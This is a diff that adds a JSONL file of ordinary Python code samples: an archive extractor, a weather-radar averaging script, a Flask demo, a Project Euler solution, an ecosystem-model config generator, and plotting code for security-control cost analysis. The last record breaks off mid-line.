diff --git "a/3812.jsonl" "b/3812.jsonl"
new file mode 100644--- /dev/null
+++ "b/3812.jsonl"
@@ -0,0 +1,749 @@
+{"seq_id":"494921685","text":"import os\nimport shutil\n\n\n\nfrom files_extractor import extract_file, is_compressed_file\n\n\nclass CompressedFile:\n    def __init__(self, report):\n    \tself.report = report\n\n    def extract_files(self, compressed_file, destination_path):\n        \"\"\"\n        Extract files to destination_path from compressed files that are in compressed_path \n        \"\"\"\n        r = False\n        \n        if not os.path.exists(destination_path):\n            os.makedirs(destination_path)\n        \n        self.report.write('package file: ' + compressed_file, True, False, True)\n        if os.path.isfile(compressed_file):\n            if is_compressed_file(compressed_file):\n                self.report.write('Extract ' + compressed_file + ' to ' + destination_path, True, False, True)  \n                if self.__extract__(compressed_file, destination_path):\n                    r = True\n        if not r:\n            self.report.write(compressed_file + ' is not a valid file. It must be a compressed file.', True, True, True)\n    \n        return r\n\n    def __extract__(self, compressed_file, destination_path):\n        r = False\n        # create destination path\n        if not os.path.exists(destination_path):\n            os.makedirs(destination_path)\n        # delete content of destination path\n        if os.path.exists(destination_path):\n            for i in os.listdir(destination_path):\n                os.unlink(destination_path + '/' + i)\n        # create tempdir\n        temp_dir = self.create_temp_dir()\n        # extract in tempdir\n        if extract_file(compressed_file, temp_dir):\n            # eliminate folders\n            for i in os.listdir(temp_dir):\n                if os.path.isfile(temp_dir + '/' + i):\n                    shutil.copy(temp_dir + '/' + i, destination_path)\n                    os.unlink(temp_dir + '/' + i)\n                elif os.path.isdir(temp_dir + '/' + i):\n                    for f in os.listdir(temp_dir + '/' + i ):\n                        if os.path.isfile(temp_dir + '/' + i + '/' + f):\n                            shutil.copy(temp_dir + '/' + i + '/' + f, destination_path)\n                            os.unlink(temp_dir + '/' + i + '/' + f)\n                        else:\n                            self.report.write(f + ' is directory and its contents will be ignored.', True, True, True)\n                    shutil.rmtree(temp_dir + '/' + i)\n            shutil.rmtree(temp_dir)\n            r = True\n        return r\n\n    def create_temp_dir(self):\n        import tempfile\n        return tempfile.mkdtemp().replace('\\\\', '/')\n        \n    \n\n    \n","sub_path":"src/xml_converter/src/reuse/files/compressed_file.py","file_name":"compressed_file.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"222011955","text":"# Standard libs\nimport argparse\nimport logging\nimport os\nimport tempfile\nfrom datetime import datetime\nfrom glob import glob\nfrom shutil import rmtree\n\n# 3rd party libs\nimport matplotlib.pyplot as plt\nimport netCDF4\nimport numpy as np\nimport pyart\nimport utm\n\nfrom nexradaws.scripts.aws import get_nexrad_data\nfrom utils import *\n\n# Sweep to take\nSWEEP = 0\n\n# Cave file\ncave_csv = 'cave_locations.csv'\n# caves = read_caves(cave_csv, 'KDFX')\n\n# Expected radar grid (azimuth and range)\nAZ_SIZE = None\nRNG_SIZE = None\nAZ = None\nRNG = None\n\n# Thresholds\nPHIDP_THRESH = 70\nREF_THRESH = 5\n\n\ndef process_files(start_date, end_date, site, data_dir, out_dir, verbose=False):\n    if verbose:\n        logging.basicConfig(format=\"%(asctime)s:%(levelname)s:%(message)s\", level=logging.DEBUG)\n    else:\n        # Set up logging\n        logging.basicConfig(format=\"%(asctime)s:%(levelname)s:%(message)s\", level=logging.INFO)\n\n    # Set up the directory for the radar download\n    if data_dir is None:\n        data_dir = tempfile.mkdtemp()\n        logging.debug(\"Created temp dir: {0}\".format(data_dir))\n        tmp_dir = True\n    else:\n        tmp_dir = False\n\n    # Start by trying to download the data (should go quick if the data is already in the right directory)\n    logging.debug(\"Starting to download data\")\n    data_dirs = get_nexrad_data(site, start_date, end_date, data_dir)\n    # Make a list of the files to process\n    files = []\n    for dir in data_dirs:\n        dir = os.path.join(dir, '*')\n        files = files + glob(dir)\n    logging.debug(\"Processing {0} files\".format(len(files)))\n\n    # Do some bookkeeping for later\n    image_base_dir = os.path.join(out_dir, 'images')\n    logging.debug(\"Images being written to {0}\".format(image_base_dir))\n    nc_base_dir = os.path.join(out_dir, 'netcdf')\n    logging.debug(\"NetCDFs being written to {0}\".format(nc_base_dir))\n\n    # Iterate through the files\n    first = True\n    count = 0\n    for f in files:\n        logging.info(\"Processing {0}\".format(f))\n\n        try:\n            radar = pyart.io.read_nexrad_archive(f)\n        except Exception as e:\n            print(\"Can't open file \" + f)\n            continue\n\n        dt = pyart.graph.common.generate_radar_time_begin(radar)  # Scan time\n        slice = radar.get_slice(SWEEP)\n\n        if radar.metadata['vcp_pattern'] not in [31, 32]:\n            logging.warning(\"VCP other than clear air mode found, skipping file\")\n            continue\n\n        if dt > datetime.strptime(end_date, \"%Y%m%d-%H%M%S\"):\n            break\n\n        if first:\n            radar_lat = radar.latitude['data'][0]\n            radar_lon = radar.longitude['data'][0]\n\n            cave_x = []\n            cave_y = []\n            # Convert cave lat/lon to x/y coord system\n            x_radar, y_radar, _, _ = utm.from_latlon(radar_lat, radar_lon)\n\n            caves = read_caves(cave_csv, site)\n\n            for cave in caves:\n                # Convert lat-lons to utm for\n                x_bat, y_bat, _, _ = utm.from_latlon(float(cave['lat']), float(cave['lon']))\n                # Calc relative x and y of roost\n                x_rel_m = (x_bat - x_radar)\n                y_rel_m = (y_bat - y_radar)\n                cave['x'] = x_rel_m / 1e3\n                cave['y'] = y_rel_m / 1e3\n\n                cave_x.append(x_rel_m/1e3)\n                cave_y.append(y_rel_m/1e3)\n                # Get rid of misc crap\n                del x_bat, y_bat, _\n\n            # Convert lat-lons to utm forndvf0\n            x_radar, y_radar, _, _ = utm.from_latlon(radar_lat, radar_lon)\n\n            # Init arrays for averaging\n            phi_dp_running = np.zeros_like(radar.fields['differential_phase']['data'][slice].data)\n            phi_dp_weighted_running = np.zeros_like(phi_dp_running)\n            phi_dp_linear_weighted_running = np.zeros_like(phi_dp_running)\n            ref_linear_running = np.zeros_like(radar.fields['reflectivity']['data'][slice].data)\n            ref_running = np.zeros_like(ref_linear_running)\n            eta_linear_running = np.zeros_like(ref_linear_running)\n\n        # Get azimuth, range, and elevation for conversion to x and y\n        range_m, az_deg = np.meshgrid(radar.range['data'], radar.azimuth['data'][slice])\n        az_rad = np.deg2rad(az_deg)\n        elev = np.deg2rad(np.mean(radar.elevation['data'][slice]))\n\n        x_m = range_m * np.cos(elev) * np.sin(az_rad)\n        y_m = range_m * np.cos(elev) * np.cos(az_rad)\n\n        # Get the correct order of the azimuths\n        az_p = np.argsort(az_rad, axis=0)[:, 0]\n\n        # Sort the x and y grids based on the order of the azimuths\n        x_m = x_m[az_p, :]\n        y_m = y_m[az_p, :]\n\n        if first:\n            RNG = range_m[0, :]\n            RNG_SIZE = RNG.size\n            AZ = az_rad[:, 0][az_p]\n            AZ_SIZE = AZ.size\n            first = False\n\n        # # Apply filters and corrections to data\n        logging.debug(\"Applying corrections\")\n        gate_filter = pyart.filters.GateFilter(radar)\n        gate_filter.exclude_below('differential_phase', PHIDP_THRESH)\n        gate_filter.exclude_below('reflectivity', REF_THRESH)\n        gate_filter = pyart.correct.despeckle_field(radar, 'differential_phase', gatefilter=gate_filter)\n\n        # Extract the desired data and get it in the correct order\n        phi_dp = radar.fields['differential_phase']['data'][slice][az_p, :]\n        ref = radar.fields['reflectivity']['data'][slice][az_p, :]\n\n        # Convert the filter to mask\n        phi_dp.mask = gate_filter.gate_excluded[az_p, :]\n        ref.mask = gate_filter.gate_excluded[az_p, :]\n\n        # Check to make sure the data lines up with the desired size\n        if phi_dp_running.shape != phi_dp.shape:\n            logging.warning(\"Data size other than ({}, {}) found\".format(AZ_SIZE, RNG_SIZE))\n            logging.warning(\"Data size: ({}, {})\".format(phi_dp.shape[0], phi_dp.shape[1]))\n            if az_rad.size < AZ_SIZE:\n                logging.debug(\"Applying pad to account for having too few azimuths\")\n                diff = abs(az_rad.size - AZ_SIZE)\n                phi_dp = np.pad(phi_dp, diff, mode='constant')[diff:, diff:-diff]\n                ref = np.pad(ref, diff, mode='constant')[diff:, diff:-diff]\n            elif az_rad.size > AZ_SIZE:\n                logging.debug(\"Chopping off end of grid because too many azimuths\")\n                phi_dp = phi_dp[:AZ_SIZE, :]\n                ref = ref[:AZ_SIZE, :]\n            else:\n                logging.critical(\"SOMETHING WENT WRONG WITH THE RANGE\")\n                raise Exception\n\n        # Add data to the running sums\n        # try:\n        logging.debug(\"Added data to running sums\")\n        phi_dp_running[~phi_dp.mask] += phi_dp[~phi_dp.mask]\n        phi_dp_weighted_running[~phi_dp.mask] += phi_dp[~phi_dp.mask] * ref[~phi_dp.mask]\n        phi_dp_linear_weighted_running[~phi_dp.mask] += phi_dp[~phi_dp.mask] * db2pow(ref[~phi_dp.mask])\n\n        ref_running[~ref.mask] += ref[~ref.mask]\n        ref_linear_running[~ref.mask] += db2pow(ref[~ref.mask])\n        eta_linear_running[~ref.mask] += db2pow(ref[~ref.mask] + 11.6)\n\n        # Make some plots\n        plt.figure(figsize=(16, 8))\n        plt.subplot(1, 2, 1)\n        plt.xlim(-100, 100)\n        plt.ylim(-100, 100)\n        plt.pcolormesh(x_m * 1e-3, y_m * 1e-3, phi_dp, vmin=0, vmax=360, cmap='nipy_spectral')\n        plt.colorbar()\n        plt.scatter(0, 0, color='k')\n        plt.scatter(cave_x, cave_y, c='y')\n\n        plt.subplot(1, 2, 2)\n        plt.xlim(-100, 100)\n        plt.ylim(-100, 100)\n        plt.pcolormesh(x_m * 1e-3, y_m * 1e-3, ref, vmin=0, vmax=50)\n        plt.colorbar()\n        plt.scatter(0, 0, color='k')\n\n        # Create directory if needed\n        image_dir = os.path.join(image_base_dir, dt.strftime('%Y/%m/'))\n        if not os.path.exists(image_dir): os.makedirs(image_dir)\n        image_name = os.path.join(image_dir, dt.strftime('{site}_%Y%m%d_%H%M%S.png'.format(site=site)))\n\n        plt.suptitle(dt.strftime('{site} %Y%m%d-%H%M%S Elev: {elev}'.format(elev=np.rad2deg(elev), site=site)))\n        logging.debug(\"Saving image: {}\".format(image_name))\n        plt.savefig(image_name)\n        plt.close()\n        # plt.show(block=True)\n\n        count += 1\n\n    # If no files were processed\n    if count == 0:\n        return\n\n    # Write out the netcdf\n    logging.info(\"Preparing netCDF\")\n    start_time = datetime.strptime(start_date, \"%Y%m%d-%H%M%S\")\n    if not os.path.exists(nc_base_dir): os.makedirs(nc_base_dir)\n    nc_name = os.path.join(nc_base_dir, start_time.strftime(\"{}_average_%Y%m%d.nc\".format(site)))\n    nc = netCDF4.Dataset(nc_name, 'w')\n\n    # Add the dimensions\n    print(phi_dp_running.shape[1], AZ.shape)\n    az = nc.createDimension('az', size=phi_dp_running.shape[0],)\n    rng = nc.createDimension('rng', size=phi_dp_running.shape[1],)\n\n    # Add the attributes\n    attrs = {'num_scans': count,\n             'start_time': start_date,\n             'end_time': end_date,\n             'radar_lat': radar_lat,\n             'radar_lon': radar_lon,\n             'sweep_number': SWEEP,\n             'elevation': np.rad2deg(elev),\n             'site': site\n             }\n    nc.setncatts(attrs)\n\n    # Add the variables\n    var = nc.createVariable('phi_dp_sum', datatype='f8', dimensions=('az', 'rng'))\n    var.setncattr('units', 'degrees')\n    var[:] = phi_dp_running\n\n    var = nc.createVariable('phi_dp_weighted_sum', datatype='f8', dimensions=('az', 'rng'))\n    var[:] = phi_dp_weighted_running\n\n    var = nc.createVariable('phi_dp_linear_weighted_sum', datatype='f8', dimensions=('az', 'rng'))\n    var[:] = phi_dp_linear_weighted_running\n\n    var = nc.createVariable('ref_linear_sum', datatype='f8', dimensions=('az', 'rng'))\n    var.setncattr('units', 'mm^6/m^3')\n    var[:] = ref_linear_running\n\n    var = nc.createVariable('ref_sum', datatype='f8', dimensions=('az', 'rng'))\n    var[:] = ref_running\n\n    var = nc.createVariable('eta_linear_sum', datatype='f8', dimensions=('az', 'rng'))\n    var[:] = eta_linear_running\n\n    var = nc.createVariable('azimuth', datatype='f8', dimensions=('az',))\n    var.setncattr('units', 'radians')\n    var[:] = AZ\n\n    var = nc.createVariable('range', datatype='f8', dimensions=('rng',))\n    var.setncattr('units', 'm')\n    var[:] = RNG\n\n    nc.close()\n    logging.info(\"NetCDF write successful\")\n\n    # Delete the temporary folder if used\n    if tmp_dir is True:\n        logging.debug(\"Removing temp dir\")\n        rmtree(data_dir)\n\nif __name__=='__main__':\n    # Set up argument parser\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-s', dest='start_date', help=\"YYYYmmdd-HHMMSS\")\n    parser.add_argument('-e', dest='end_date', help=\"YYYYmmdd-HHMMSS\")\n    parser.add_argument('-r', dest='radar')\n    parser.add_argument('-d', dest='data_dir',\n                        help='directory to download radar data (uses tmp dir otherwise)',\n                        default=None)\n    parser.add_argument('-o', dest='out_dir',\n                        help='Directory to put images and netcdfs. Code will organize the dir structure')\n    args = parser.parse_args()\n\n    process_files(args.start_date, args.end_date, args.radar, args.data_dir, args.out_dir)\n\n\n\n","sub_path":"nightly_average.py","file_name":"nightly_average.py","file_ext":"py","file_size_in_byte":11166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"491821998","text":"from selenium import webdriver\nimport pytest\n\n# browser = webdriver.Firefox()\n# browser.get('http://localhost:8000')\n\n\nclass TestNewVisitor:\n\n    @pytest.yield_fixture\n    def driverPJS(self):\n        driver = webdriver.PhantomJS()\n        print(\"Created PhantomJS driver\")\n        driver.get(\"http://localhost:8000\")\n        yield driver\n        driver.quit()\n        print(\"\\nDestroyed PhantomJS driver\")\n\n    def test_page_title(self, driverPJS):\n    # She notices the page title and header mention to-do lists\n        print(\"Running test\")\n        assert 'Django' in driverPJS.title\n\n\n\n    # # She is invited to enter a to-do item straight away\n\n\n","sub_path":"tests/functional_tests/selenium_test.py","file_name":"selenium_test.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"450022947","text":"import flask\nimport datetime\nimport random\n\napp = flask.Flask(\"my_app\")\n\n\n@app.route(\"/like\")\n@app.route(\"/home\")\ndef first_view():\n    my_name = \"adam\"\n    now = datetime.datetime.now()\n    time = \"{}/{}/{}\".format(now.day, now.month, now.year)\n    secend = datetime.time\n    rendr = flask.render_template(\"te.html\", name=my_name, time=time\n                                  , sea=secend)\n    return rendr\n\n\n@app.route(\"/<int:num>\")\ndef welc(num):\n    number = random.randrange(1, 10)\n    if num == number:\n        return \"your number is\" + number\n    else:\n        return \"number not match\"\n\n\n@app.route(\"/me\")\ndef sec_view():\n    t2 = flask.render_template(\"t2\", )\n    return t2\n\n\nif __name__ == \"__main__\":\n    app.run(port=5000)\n","sub_path":"python+flask_work/class_21/flask1.py","file_name":"flask1.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"509954716","text":"# maximum path sum II\nf = open('input/064input.txt').read().split('\\n')\nfor x in range(len(f)):\n\tf[x] = list(map(int,f[x].split()))\nf = f[:-1] # weird empty array in the end.\n\nrow_now = len(f) - 2 # second last\n\nwhile row_now >= 0:\n\trow_down = row_now + 1\n\tfor ind in range(len(f[row_now])): f[row_now][ind] += max(f[row_down][ind],f[row_down][ind+1])\n\trow_now -= 1\n\nprint (f[0][0]) # max sum.\n\n","sub_path":"euler/py/067.py","file_name":"067.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"125980529","text":"#!usr/bin/env python\nimport numpy as np\nfrom lxml import etree\nimport sys\n\n# some constant\nC2B = 2.\nagf_bs = 0.7\n\n# get filename\nprint(sys.argv)\nsim_type = str(sys.argv[1])\n\n# separate the string to get site name and setup\nsite_name = sim_type.split('_')[0]\nsetup = sim_type.split('_')[1]\n\nxml_fn = \"{:s}_config.xml\".format(sim_type)\n\n# first check the setup array to determine which pft to use\nif setup[0:2] == 'p0':\n    # ED2 original\n    pft_array=[2,3,4]\nelif setup[0:2] == 'p1':\n    # ED2 TLP 6 PFT\n    pft_array=[2,3,4,5,6,7]\nelif setup[0:2] == 'p2':\n    # ED2 XXT 3 PFT\n    pft_array=[2,3,4]\n\n\n\n# write the header for xml files\ns = '''<?xml version=\"1.0\"?>\n<config />'''\ntree = etree.fromstring(s)\n\n# dictionary to store parameters to change for all PFTs\npft_dict_all = {\n    'root_beta'  : '0.01',\n    }\n\n# create three pfts in xml\nxml_pfts=[]\nfor ipft, pft in enumerate(pft_array):\n    xml_pfts.append(etree.SubElement(tree,\"pft\"))\n    etree.SubElement(xml_pfts[ipft], \"num\").text = \"{:d}\".format(pft)\n    for trait in pft_dict_all.keys():\n        etree.SubElement(xml_pfts[ipft], trait).text = pft_dict_all[trait]\n\n# always modify fuse_dbh_max\nxml_ff = etree.SubElement(tree,\"fusefiss\")\netree.SubElement(xml_ff, \"fuse_dbh_max\").text = \"{:f}\".format(20.)\n\n\n\n# now setup hydro\nif (setup[1] == '0'):\n    # ED2 default\n    #do nothing\n    pass\nelif (setup[1] == '2'):\n    # ED2 XXT\n    # do nothing\n    # need to change qsw\n    for ipft, pft in enumerate(pft_array):\n        etree.SubElement(xml_pfts[ipft], \"qsw\").text = \"{:f}\".format(0.)\n\nelif (setup[1] == '1'):\n    # ED2 TLP\n    # first read in the h0_params.xml\n    template_params_tree = etree.parse('./template_params.xml')\n    template_root = template_params_tree.getroot()\n\n    # loop over the pft setups and write into the new xml_pfts\n    for ipft in np.arange(3):\n        pft_to_copy = template_root[ipft]\n\n        # write the intolerant pft\n        pft_to_write = xml_pfts[ipft]\n\n        params_dict = {\n            'wood_psi50'     :  -1.2 * 102.,\n            'wood_Kmax'      :  3.3 / 102.,\n            'leaf_psi_tlp'   : -1.67 * 102.,\n            'stoma_psi_b'    : -1.67 * 102.,\n            'stoma_psi_c'    :  3.,\n            'qsw'            :  0.,\n                      }\n\n        exist_vars = [element.tag for element in pft_to_write.iter()]\n        # loop over pft_to_copy\n\n        for element in pft_to_copy.iter():\n            if element.tag == 'pft' or element.tag == 'init_laimax':\n                # pass these two tags\n                continue\n\n\n            # over write the hydraulic properties\n            if element.tag in params_dict.keys():\n                etree.SubElement(pft_to_write, element.tag).text = \"{:f}\".format(\n                    params_dict[element.tag])\n            elif element.tag in exist_vars:\n                pass\n                # no need to do anything\n            else:\n                etree.SubElement(pft_to_write, element.tag).text = element.text\n\n\n        # write the tolerant pft\n        params_dict = {\n            'wood_psi50'     :  -2.2 * 102.,\n            'wood_Kmax'      :  3. / 102.,\n            'leaf_psi_tlp'   : -2.83 * 102.,\n            'stoma_psi_b'    : -2.83 * 102.,\n            'stoma_psi_c'    :  3.5,\n            'qsw'            :  0.,\n                      }\n\n        pft_to_write = xml_pfts[ipft+3]\n\n        exist_vars = [element.tag for element in pft_to_write.iter()]\n\n        # loop over pft_to_copy\n        for element in pft_to_copy.iter():\n            if element.tag == 'pft' or element.tag == 'init_laimax':\n                continue\n\n            # over write the hydraulic properties\n            if element.tag in params_dict.keys():\n                etree.SubElement(pft_to_write, element.tag).text = \"{:f}\".format(\n                    params_dict[element.tag])\n            elif element.tag in exist_vars:\n                pass\n                # no need to do anything\n            else:\n                etree.SubElement(pft_to_write, element.tag).text = element.text\n\n\noutput_str = etree.tostring(tree, encoding=\"UTF-8\",\n                            xml_declaration=True,\n                            pretty_print=True,\n                            doctype='<!DOCTYPE config SYSTEM \"ed.dtd\">')\n\n# write into file\nwith open(xml_fn,'wb') as f:\n   f.write(output_str)\n","sub_path":"ED2-treering/run_HKK/create_xml.py","file_name":"create_xml.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"499078090","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport itertools\nimport pandas as pd\nplt.style.use('ggplot')\n# from sklearn import preprocessing\n# import seaborn as sns\n\n# def plot(v,pv_anPDF,pv_anCDF,pv_emp_exp,pv_emp_log,phase):\ndef plot(v,pv_anPDF,pv_emp_exp,pv_emp_exp_95,phase):\n    print(pv_emp_exp_95)\n    plt.hist(pv_emp_exp,bins=100,density=True,color='mediumseagreen',alpha=1,label='Simulated PDF')\n    # sns.distplot(pv_emp_exp, hist=True, kde=False, bins=100, norm_hist=True)\n    plt.plot(v,pv_anPDF,color='darkred',linestyle='dashed',label='Analytical PDF')\n    # plt.plot(v,pv_anCDF,'k:',label='Analytical CDF (exponential)')\n    # plt.hist(pv_emp_log,bins=100,density=1,color='green',alpha=0.7,label='Simulated PDF (log-norm)')\n    plt.axvline(x=pv_emp_exp_95,color='k',label='95% = £{}'.format(pv_emp_exp_95))\n    plt.xlabel('Present Value £ '+ '('+phase+')')\n    plt.ylabel('Frequency')\n    plt.legend(loc='best',fontsize=11)\n    # fig.tight_layout()\n    plt.show()\n\n\ndef pv_total(pv1,pv2,pv_95,phase):\n    plt.hist(pv1,bins=100,density=1,color='blue',alpha=0.6,label='Simulated PDF (exponential)')\n    plt.hist(pv2,bins=100,density=1,color='green',alpha=0.7,label='Simulated PDF (log-norm)')\n    plt.axvline(x=pv_95,color='k',label='95% = £{}'.format(pv_95))\n    plt.xlabel('Present Value £ '+ '('+phase+')')\n    plt.ylabel('Frequency')\n    plt.legend(loc='best')\n    plt.show()\n\n\ndef setCoverPlot(subcontrols_list,position,positionCL,positionCH,positionEL,positionEH):\n    no_constraint = [float('nan') for x in range(len(subcontrols_list))]\n    costL = [float('nan') for x in range(len(subcontrols_list))]\n    costH = [float('nan') for x in range(len(subcontrols_list))]\n    cost_efficacyL = [float('nan') for x in range(len(subcontrols_list))]\n    cost_efficacyH = [float('nan') for x in range(len(subcontrols_list))]\n    for i in position:\n        no_constraint[i] = 1\n    for i in positionCL:\n        costL[i] = 2\n    for i in positionCH:\n        costH[i] = 3\n    for i in positionEL:\n        cost_efficacyL[i] = 4\n    for i in positionEH:\n        cost_efficacyH[i] = 5\n\n    x = np.arange(len(subcontrols_list))\n    y = [0,1,2,3,4,5]\n    fig, ax = plt.subplots()\n    ax.scatter(x,no_constraint,s=70,color='black')\n    ax.scatter(x,costL,marker='D',s=60,color='black')\n    ax.scatter(x,costH,marker='X',s=60,color='black')\n    ax.scatter(x,cost_efficacyL,marker='h',s=80,color='black')\n    ax.scatter(x,cost_efficacyH,marker='*',s=90,color='black')\n    # plt.axhline(y=1, linestyle=':',color='k',alpha=0.2)\n    # plt.axhline(y=2, linestyle=':',color='k',alpha=0.2)\n    # plt.axhline(y=3, linestyle=':',color='k',alpha=0.2)\n    # plt.axhline(y=4, linestyle=':',color='k',alpha=0.2)\n    # plt.axhline(y=5, linestyle=':',color='k',alpha=0.2)\n\n    # ax.set_ylabel('Subcontrol Selection with')\n    ax.set_yticks(y)\n    # ax.set_yticklabels([0,'No Constraint','Cost (Level L)','Cost (Level H)', 'Cost and Efficacy\\n(Level L,eff=0.015)', 'Cost and Efficacy\\n(Level H,eff=0.015)'])\n    # ax.text(s='Cost and Efficacy\\n(Level L)', x=-6, y=3.7)\n    # ax.text(s='Cost and Efficacy\\n(Level H)', x=-12.2, y=4.7)\n    ax.set_yticklabels([0,'A','B','C','D','E'])\n    ax.text(-1, -3, \"(A) no constraint. (B) budget constraint for subcontrols level L. (C) budget constraint for subcontrols level H. (D) budget and efficacy bound for subcontrols level L. (E) budget and efficacy bound for subcontrols level H.\", color='black', wrap=True,\n        bbox=dict(facecolor='none', edgecolor='black', pad=10.0))\n\n    ax.set_xlabel('CIS Subcontrols')\n    # ax.set_title('Set Cover Problem Control Selection')\n    ax.set_xticks(x)\n    ax.set_xticklabels(subcontrols_list, rotation=90)\n    fig.tight_layout()\n    plt.show()\n\n\ndef setCoverEfficacyBoundPlot(subcontrols_list,efficacy_bound,pos_EL,pos_EH):\n    cost_efficacyL = [[float('nan') for x in range(len(subcontrols_list))] for x in range(len(pos_EL))]\n    cost_efficacyH = [[float('nan') for x in range(len(subcontrols_list))] for x in range(len(pos_EH))]\n    efficacy_bound.insert(0,0)\n    for i in range(len(pos_EL)):\n        if i == 0:\n            for x in pos_EL[i]:\n                cost_efficacyL[i][x] = 1\n            for y in pos_EH[i]:\n                cost_efficacyH[i][y] = 1\n        elif i == 1:\n            for x in pos_EL[i]:\n                cost_efficacyL[i][x] = 2\n            for y in pos_EH[i]:\n                cost_efficacyH[i][y] = 2\n        elif i == 2:\n            for x in pos_EL[i]:\n                cost_efficacyL[i][x] = 3\n            for y in pos_EH[i]:\n                cost_efficacyH[i][y] = 3\n        elif i == 3:\n            for x in pos_EL[i]:\n                cost_efficacyL[i][x] = 4\n            for y in pos_EH[i]:\n                cost_efficacyH[i][y] = 4\n\n    x = np.arange(len(subcontrols_list))\n    y = np.arange(len(efficacy_bound))\n    fig, ax = plt.subplots()\n    for i in range(len(cost_efficacyL)):\n        L = ax.scatter(x,cost_efficacyL[i],s=70,color='steelblue')\n        H = ax.scatter(x,cost_efficacyH[i],marker='x',s=60,color='black')\n        # plt.axhline(y=i+1, linestyle=':',color='k',alpha=0.2)\n\n    ax.set_ylabel('Efficacy Bound')\n    ax.set_yticks(y)\n    ax.set_yticklabels(efficacy_bound)\n    ax.set_xlabel('CIS Subcontrols')\n    # ax.set_title('Set cover control selection with cost and efficacy bounds')\n    ax.set_xticks(x)\n    ax.set_xticklabels(subcontrols_list, rotation=90)\n    plt.legend((L, H), ('Level L', 'Level H'), scatterpoints=1)\n    fig.tight_layout()\n    plt.show()\n\n\ndef knapsackOptimisationPlot(subcontrols_list,position,levels):\n    kp_selection = [float('nan') for x in range(len(subcontrols_list))]\n    for (i,j) in zip(position,levels):\n        if j == 0:\n            kp_selection[i] = 1\n        else:\n            kp_selection[i] = 2\n\n    x = np.arange(len(subcontrols_list))\n    y = [0,1,2]\n    fig, ax = plt.subplots()\n    ax.bar(x,kp_selection,color=\"lightseagreen\",alpha=0.8)\n    ax.set_yticks(y)\n    ax.set_yticklabels([0,'Level L','Level H'])\n    ax.set_xlabel('CIS Subcontrols')\n    ax.set_xticks(x)\n    ax.set_xticklabels(subcontrols_list,rotation=90)\n\n    fig.tight_layout()\n    plt.show()\n\n\ndef riskPlot(risk_noconstraint,risk_CL,risk_CH,risk_EL,risk_EH,risk_KP,budget):\n\n    figure, axes = plt.subplots(1, 3)\n    '''ROSI'''\n    rosi = []\n    rosi.append((risk_noconstraint[1]-risk_noconstraint[3]-risk_noconstraint[4])/risk_noconstraint[4])\n    rosi.append((risk_CL[1]-risk_CL[3]-risk_CL[4])/risk_CL[4])\n    rosi.append((risk_CH[1]-risk_CH[3]-risk_CH[4])/risk_CH[4])\n    rosi.append((risk_EL[1]-risk_EL[3]-risk_EL[4])/risk_EL[4])\n    rosi.append((risk_EH[1]-risk_EH[3]-risk_EH[4])/risk_EH[4])\n    rosi.append((risk_KP[1]-risk_KP[3]-risk_KP[4])/risk_KP[4])\n    # df = pd.DataFrame({'eZn^':[risk_noconstraint[3],risk_CL[3],risk_CH[3],risk_EL[3],risk_EH[3]], 'Cost':[risk_noconstraint[4],risk_CL[4],risk_CH[4],risk_EL[4],risk_EH[4]], 'ROSI':rosi})\n    df1 = pd.DataFrame({'ROSI':rosi})\n    ax = df1.plot(kind=\"barh\",ax=axes[2],color={\"steelblue\"})\n    ax.set_yticklabels(['A','B','C','D','E','F'])\n    box = ax.get_position()\n    ax.set_position([box.x0, box.y0 + box.height * 0.2, box.width, box.height * 0.8])\n    ax.legend(loc='upper center',bbox_to_anchor=(0.5,-0.09),fancybox=True,shadow=True,ncol=1,prop={'size': 9})\n\n    '''Risk reduction vs cost'''\n    risk_reduction = []\n    risk_reduction.append((risk_noconstraint[1]-risk_noconstraint[3]))\n    risk_reduction.append((risk_CL[1]-risk_CL[3]))\n    risk_reduction.append((risk_CH[1]-risk_CH[3]))\n    risk_reduction.append((risk_EL[1]-risk_EL[3]))\n    risk_reduction.append((risk_EH[1]-risk_EH[3]))\n    risk_reduction.append((risk_KP[1]-risk_KP[3]))\n    cost = [risk_noconstraint[4],risk_CL[4],risk_CH[4],risk_EL[4],risk_EH[4],risk_KP[4]]\n\n\n    # df = pd.DataFrame({'Residual Risk':risk_reduction})\n    df2 = pd.DataFrame({'Residual Expected Impact':[risk_noconstraint[3],risk_CL[3],risk_CH[3],risk_EL[3],risk_EH[3],risk_KP[3]], 'Reduced Expected Impact':risk_reduction})\n    ax = df2.plot(kind=\"barh\",stacked=True,ax=axes[0],color={\"indianred\",\"black\"})\n    ax.set_yticklabels(['A','B','C','D','E','F'])\n    ax.text(0, -3.5, \"(A) Set cover with no constraint. (B) Set cover with budget constraint for subcontrols level L. (C) Set cover with budget constraint for subcontrols level H. (D) Set cover with budget and efficacy bound for subcontrols level L. (E) Set cover with budget and efficacy bound for subcontrols level H. (F) Knapsack Optimisation with budget\", color='black', wrap=True,\n        bbox=dict(facecolor='none', edgecolor='black', pad=5.0), fontsize=10)\n    box = ax.get_position()\n    ax.set_position([box.x0, box.y0 + box.height * 0.2, box.width, box.height * 0.8])\n\n    # Put a legend below current axis\n    ax.legend(loc='upper center',bbox_to_anchor=(0.5,-0.09),fancybox=True,shadow=True,ncol=1,prop={'size': 9})\n\n    df3 = pd.DataFrame({'Cost':cost})\n    ax = df3.plot(kind=\"barh\",ax=axes[1],color={\"gray\"})\n    ax.axvline(x=budget, linestyle=':',color='k',alpha=0.2,label='Budget = £'+str(budget))\n    ax.set_yticklabels(['A','B','C','D','E','F'])\n    # ax.set_xlabel('Budget='+str(budget),fontsize=10)\n    # ax.text(budget-10,-0.8,budget)\n    # ax.text(-1.4, -2.8, \"(A) Set cover with no constraint. (B) Set cover with budget constraint for subcontrols level L. (C) Set cover with budget constraint for subcontrols level H. (D) Set cover with budget and 